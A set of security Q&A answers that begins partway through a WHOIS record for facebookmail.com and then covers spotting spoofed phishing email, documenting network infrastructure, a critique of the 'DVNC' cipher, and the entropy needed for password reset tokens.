    1601 Willow Road
     Menlo Park CA 94025
    US
    domain@fb.com +1.6505434800 Fax: +1.6505434800

Domain Name: facebookmail.com

    Registrar Name: Markmonitor.com
    Registrar Whois: whois.markmonitor.com
    Registrar Homepage: http://www.markmonitor.com

Administrative Contact:
    Domain Administrator
    Facebook, Inc.
    1601 Willow Road
     Menlo Park CA 94025
    US
    domain@fb.com +1.6505434800 Fax: +1.6505434800
Technical Contact, Zone Contact:
    Domain Administrator
    Facebook, Inc.
    1601 Willow Road
     Menlo Park CA 94025
    US
    domain@fb.com +1.6505434800 Fax: +1.6505434800

Created on..............: 2006-01-23.
Expires on..............: 2018-01-23.
Record last updated on..: 2012-09-28.

Domain servers in listed order:

a.ns.facebook.com
b.ns.facebook.com

However, this doesn't mean the email is real. It could've had its source address spoofed. Check the headers on the email to see if the source SMTP server is legitimate, and if the return address is valid. You can also contact Facebook's security team to inquire about the potential phishing attempt, and provide them with the embedded links - they might represent an XSS or other attack on Facebook itself.


Retaining institutional knowledge of a complex infrastructure (checkpoint, juniper, etc)

You'll want at a minimum:

1.) logical infrastructure diagrams

2.) physical infrastructure diagrams

3.) usernames/passwords at the admin (enabled) level

4.) peer router lists

5.) trusted user lists

From this point you can audit configuration settings and start baselining the current network activity. Where you go from there is up to you.


The DVNC whitepaper is heavy on analogies and buzzwords, light on content, and the source code is in a format I can't view, but as far as I can tell, the "key advances" of DVNC are as follows:

The cyphertext alphabet can be much larger than the plaintext alphabet.
The cyphertext alphabet can use a totally different set of symbols than the plaintext alphabet.

In short, they appear to have re-discovered some of the great advances of 17th-century cryptography.


How many bytes for password reset token? Should one take steps to hash or conceal raw CSPRNG bytes?

You asked:

Is it safe to simply append a hex or base64 representation of these bytes to a url and email it to a user? Or does exposing the raw, unmodified bytes expose my system's CSPRNG behavior to unwanted scrutiny by bad guys?

This question has been asked and answered many times and I won't attempt to give a full answer, but basically, yes, any API that advertises itself as a CSRPNG is safe to send directly to users and will not leak the internal state of your system RNG.
Related question:

Is a rand from /dev/urandom secure for a login key?

You asked:

How many random bytes should such a token have if I want it to be valid for an hour? For 24 hours?

First off, go watch this 5 minute youtube video:

How secure is 256 bit security? - YouTube

Based on that you should be good forever with 128 bits of randomness. You can get away with less but for exactly how much less you'll have to do your own math:

Do you have a rate-limit on your API? If so, how many guesses will it allow in 24 hours?
If an attacker guesses at the max rate, would you be comfortable if they had a 1/2 (ie 2-1) chance of guessing right? 1/1,000,000 (~ 2-20)? For "cryptographic strength" you'd want like 2-80 - 2-128.

Multiplying those together will give you the number of bits of randomness you need in the token.